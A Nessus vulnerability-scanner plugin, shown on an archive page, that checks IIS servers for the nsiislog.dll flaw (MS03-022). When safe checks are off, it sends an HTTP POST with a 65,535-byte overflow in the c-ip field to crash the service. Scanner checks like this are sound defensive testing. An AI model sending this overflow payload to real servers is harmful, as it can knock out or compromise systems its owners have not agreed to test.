home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / nsiislog_dll.nasl < prev    next >
Text File  |  2005-01-14  |  3KB  |  107 lines

  1. # (C) Tenable Network Security
  2. #
  3. #
  4. # Supercedes MS03-019
  5.  
  6. if(description)
  7. {
  8.  script_id(11664);
  9.  script_bugtraq_id(7727, 8035);
  10.  script_version ("$Revision: 1.12 $");
  11.  script_cve_id("CAN-2003-0227", "CAN-2003-0349");
  12.  
  13.  name["english"] = "nsiislog.dll DoS";
  14.  
  15.   
  16.  script_name(english:name["english"]);
  17.  
  18.  desc["english"] = "
  19. Some versions of IIS shipped with a default file, nsiislog.dll, 
  20. within the /scripts directory.  Nessus has determined that the
  21. remote host has the file installed. 
  22.  
  23. The NSIISLOG.dll CGI may allow an attacker to execute
  24. arbitrary commands on this host, through a buffer overflow.
  25.  
  26. Solution : http://www.microsoft.com/technet/security/bulletin/ms03-022.mspx
  27.  
  28. Risk factor : High";
  29.  
  30.  
  31.  script_description(english:desc["english"]);
  32.  
  33.  summary["english"] = "Determines the presence of nsiislog.dll";
  34.  
  35.  
  36.  script_summary(english:summary["english"]);
  37.  
  38.  script_category(ACT_MIXED_ATTACK);
  39.  
  40.  
  41.  script_copyright(english:"This script is Copyright (C) 2003 Tenable Network Security");
  42.  
  43.  family["english"] = "CGI abuses";
  44.  family["francais"] = "Abus de CGI";
  45.  
  46.  script_family(english:family["english"], francais:family["francais"]);
  47.  
  48.  script_dependencie("find_service.nes", "http_version.nasl", "www_fingerprinting_hmap.nasl");
  49.  script_require_ports("Services/www", 80);
  50.  exit(0);
  51. }
  52.  
  53. #
  54. # The script code starts here
  55. #
  56.  
  57. include("http_func.inc");
  58. include("http_keepalive.inc");
  59.  
  60. port = get_http_port(default:80);
  61.  
  62. sig = get_kb_item("www/hmap/" + port + "/description");
  63. if ( sig && "IIS" >!< sig ) exit(0);
  64.  
  65. req  = http_get(item:"/scripts/nsiislog.dll", port:port);
  66. res  = http_keepalive_send_recv(port:port, data:req);
  67. if("NetShow ISAPI Log Dll" >< res)
  68. {
  69.  if(safe_checks()) {
  70.    security_hole(port);
  71.    exit(0);
  72.    }
  73.   
  74.   
  75.   all = make_list("date", "time", "c-dns", "cs-uri-stem", "c-starttime", 
  76.             "x-duration", "c-rate", "c-status", "c-playerid",
  77.           "c-playerversion", "c-player-language", "cs(User-Agent)",
  78.           "cs(Referer)", "c-hostexe");
  79.           
  80.   poison = NULL;
  81.   
  82.   foreach var (all)
  83.   {
  84.    poison += var + "=Nessus&";
  85.   }         
  86.    
  87.   poison += "c-ip=" + crap(65535);
  88.   
  89.   req = string("POST /scripts/nsiislog.dll HTTP/1.1\r\n",
  90. "Host: ", get_host_name(), "\r\n",
  91. "User-Agent: NSPlayer/2.0\r\n",
  92. "Content-Type: application/x-www-form-urlencoded\r\n",
  93. "Content-Length: ", strlen(poison), "\r\n\r\n") + poison;
  94.  
  95.  soc = http_open_socket(port);
  96.  if(!soc)exit(0);
  97.  send(socket:soc, data:req);
  98.  r = http_recv(socket:soc);
  99.  
  100.  # 2nd match fails on localized Windows
  101.  if("HTTP/1.1 500 Server Error" >< r &&
  102.     ("The remote procedure call failed. " >< r ||
  103.      "<html><head><title>Error</title>" >< r))
  104.   security_hole(port);
  105. }
  106.